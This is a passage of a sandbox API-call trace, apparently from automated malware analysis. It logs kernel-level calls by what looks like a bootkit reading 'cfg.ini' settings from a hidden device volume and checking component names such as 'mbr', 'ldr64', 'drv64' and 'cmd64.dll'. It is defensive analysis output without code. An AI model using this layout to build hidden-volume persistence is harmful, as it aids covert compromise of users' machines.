_MaxCount=0x10) returned 7 [0117.878] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.878] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.878] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da7e0 [0117.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.878] KeLeaveCriticalRegion () [0117.878] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.878] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.878] KeEnterCriticalRegion () [0117.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.878] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.878] KeLeaveCriticalRegion () [0117.879] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.879] KeEnterCriticalRegion () [0117.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.879] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.879] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.879] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.879] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.879] IdePortDispatch () returned 0x103 [0117.879] KeWaitForMutexObject () returned 0x0 [0117.879] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.879] KeLeaveCriticalRegion () [0117.879] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.879] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.879] KeEnterCriticalRegion () [0117.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.879] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df3000 [0117.879] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.879] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.879] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.879] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.879] IdePortDispatch () returned 0x103 [0117.880] KeWaitForMutexObject () returned 0x0 [0117.880] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.880] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.880] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.880] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.880] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.880] IdePortDispatch () returned 0x103 [0117.880] KeWaitForMutexObject () returned 0x0 [0117.880] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.880] KeLeaveCriticalRegion () [0117.880] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.881] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.881] KeEnterCriticalRegion () [0117.881] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.881] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.881] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.881] KeLeaveCriticalRegion () [0117.881] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.881] KeEnterCriticalRegion () [0117.881] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.881] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0117.881] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d0f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.881] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.881] KeLeaveCriticalRegion () [0117.881] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.881] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.881] KeEnterCriticalRegion () [0117.881] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.881] ExFreePoolWithTag (P=0xfffffa80039da7e0, Tag=0x0) [0117.881] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.881] KeLeaveCriticalRegion () [0117.881] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.882] ReleaseMutex (hMutex=0xf0) returned 1 [0117.882] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.882] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.882] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.882] KeEnterCriticalRegion () [0117.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.882] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.882] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.882] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.882] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.882] IdePortDispatch () returned 0x103 [0117.882] KeWaitForMutexObject () returned 0x0 [0117.882] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.882] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.882] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.882] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.882] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.882] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa67f0 [0117.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.882] KeLeaveCriticalRegion () [0117.882] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.882] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.882] KeEnterCriticalRegion () [0117.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.883] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.883] KeLeaveCriticalRegion () [0117.883] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.883] KeEnterCriticalRegion () [0117.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.883] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.883] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.883] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.883] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.883] IdePortDispatch () returned 0x103 [0117.883] KeWaitForMutexObject () returned 0x0 [0117.883] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.883] KeLeaveCriticalRegion () [0117.883] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.883] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.883] KeEnterCriticalRegion () [0117.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.883] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df4000 [0117.883] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.883] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.883] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.883] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.884] IdePortDispatch () returned 0x103 [0117.884] KeWaitForMutexObject () returned 0x0 [0117.884] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.884] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.884] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.884] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.884] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.884] IdePortDispatch () returned 0x103 [0117.884] KeWaitForMutexObject () returned 0x0 [0117.884] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.884] KeLeaveCriticalRegion () [0117.884] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.885] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.885] KeEnterCriticalRegion () [0117.885] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.885] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.885] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.885] KeLeaveCriticalRegion () [0117.885] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.885] KeEnterCriticalRegion () [0117.885] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.885] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0117.885] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039cf840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.885] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.885] KeLeaveCriticalRegion () [0117.885] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.885] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.885] KeEnterCriticalRegion () [0117.885] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.885] ExFreePoolWithTag (P=0xfffffa8003aa67f0, Tag=0x0) [0117.885] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.885] KeLeaveCriticalRegion () [0117.885] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.885] ReleaseMutex (hMutex=0xf0) returned 1 [0117.886] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.886] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.886] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.886] KeEnterCriticalRegion () [0117.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.886] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.886] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.886] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.886] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.886] IdePortDispatch () returned 0x103 [0117.886] KeWaitForMutexObject () returned 0x0 [0117.886] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.886] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.886] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.886] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.886] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.886] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039daa90 [0117.886] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.886] KeLeaveCriticalRegion () [0117.886] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.886] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.886] KeEnterCriticalRegion () [0117.886] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.886] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.887] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.887] KeLeaveCriticalRegion () [0117.887] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.887] KeEnterCriticalRegion () [0117.887] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.887] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.887] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.887] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.887] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.887] IdePortDispatch () returned 0x103 [0117.887] KeWaitForMutexObject () returned 0x0 [0117.887] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.887] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.887] KeLeaveCriticalRegion () [0117.887] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.887] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.887] KeEnterCriticalRegion () [0117.887] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.887] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002df5000 [0117.887] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.887] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.887] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.887] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.887] IdePortDispatch () returned 0x103 [0117.888] KeWaitForMutexObject () returned 0x0 [0117.888] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.888] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.888] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0117.888] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0117.888] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.888] IdePortDispatch () returned 0x103 [0117.888] KeWaitForMutexObject () returned 0x0 [0117.888] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.888] KeLeaveCriticalRegion () [0117.888] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.889] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.889] KeEnterCriticalRegion () [0117.889] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.889] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0117.889] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.889] KeLeaveCriticalRegion () [0117.889] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.889] KeEnterCriticalRegion () [0117.889] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.889] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0117.889] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.889] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.889] KeLeaveCriticalRegion () [0117.889] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.889] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.889] KeEnterCriticalRegion () [0117.889] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.889] ExFreePoolWithTag (P=0xfffffa80039daa90, Tag=0x0) [0117.889] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.889] KeLeaveCriticalRegion () [0117.889] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.889] ReleaseMutex (hMutex=0xf0) returned 1 [0117.890] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.890] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.890] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.890] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.890] KeEnterCriticalRegion () [0117.890] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.890] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.890] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.890] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.890] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.890] IdePortDispatch () returned 0x103 [0117.890] KeWaitForMutexObject () returned 0x0 [0117.890] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.890] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.890] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.890] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.890] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.890] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.890] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.890] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.890] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.890] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.890] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.890] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.890] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.890] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.891] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.891] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.891] KeLeaveCriticalRegion () [0117.891] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0117.891] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.891] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.891] KeEnterCriticalRegion () [0117.891] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.891] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0117.891] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0117.891] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.891] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.891] IdePortDispatch () returned 0x103 [0117.891] KeWaitForMutexObject () returned 0x0 [0117.891] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.891] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.891] _strnicmp 